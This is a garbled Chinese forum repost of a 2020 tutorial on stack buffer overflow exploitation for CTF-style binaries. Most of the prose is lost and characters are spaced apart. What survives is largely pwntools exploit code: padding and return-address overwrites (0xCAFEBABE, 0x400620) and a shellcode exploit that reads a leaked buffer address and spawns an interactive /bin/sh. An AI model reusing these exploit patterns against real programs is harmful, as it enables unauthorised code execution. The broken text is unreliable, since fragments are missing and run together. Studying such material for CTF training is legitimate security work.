[19633] 2020-07-23_【干货分享】表哥亲自传授bof秘笈,快收藏!

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-07-23_【干货分享】表哥亲自传授bof秘笈,快收藏!   b o f     H A I _   i   2 0 2 0 - 0 7 - 2 3 i H A I _ b o f 1 2 3 4 5 o f f b s s
西 b o f p a y l o a d = + = - p a y l o a d = - + F 5
g e t s a 1 = e b p + a r g _ 0 = e b p + 8 = e b p - 2 C h = - = e b p + 8 - e b p - 2 C h = 8 + 2 c h = 3 4 = 0 x C A F E B A B E
p a y l o a d = 3 4 + 0 x C A F E B A B E 使 p w n t o o l s p a y l o a d 1 s y s t e m 西     g o t o f r o m   p w n   i m p o r t   * p a y l o a d = 0 x 3 4 * ' A ' + p 3 2 ( 0 x C A F E B A B E ) p r i n t ( p a y l o a d )
p a y l o a d = + g o o d _ g a e m f l a g . t x t
= 0 x 8 8 = 0 x 4 0 0 6 2 0 p a y l o a d = 0 x 8 8 * ' A ' + 0 x 4 0 0 6 2 0 使 p w n t o o l s p a y l o a d
2 s y s t e m s h e l l c o d e n x s h e l l c o d e s h e l l c o d e p a y l o a d = s h e l l c o d e + ( - s h e l l c o d e ) + ( s h e l l c o d e ) r e a d f r o m   p w n   i m p o r t   * p a y l o a d = 0 x 8 8 * ' A ' + p 6 4 ( 0 x 4 0 0 6 2 0 ) p r i n t ( p a y l o a d )
= 0 x 8 8
使 p w n t o o l s s h e l l c o d e p w n t o o l s 便 g o t o p a y l o a d = + + + + 1 + 2 . . . f r o m   p w n   i m p o r t   * s h   =   p r o c e s s ( " . / l x 3 " ) s h e l l c o d e   =   a s m ( s h e l l c r a f t . i 3 8 6 . l i n u x . s h ( ) ) l i n e   =   s h . r e c v l i n e ( ) [ 1 4 : - 2 ] b u f _ a d d r   =   i n t ( l i n e , 1 6 ) p a y l o a d   =   s h e l l c o d e   +   ' A '   *   ( 0 x 8 8   +   0 x 4   -   l e n ( s h e l l c o d e ) )   +   p 3 2 ( b u f _ a d d r ) s h . s e n d ( p a y l o a d ) s h . i n t e r a c t i v e ( ) s h . c l o s e ( )
r e a d = 0 x 8 8 便 = ' A ' * 4 = 0 x 0 8 0 4 8 2 4 B i d a   s h i f t + f 1 2   s t r i n g = ' A ' * 4 1 = / b i n / s h = 0 x 0 8 0 4 A 0 2 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则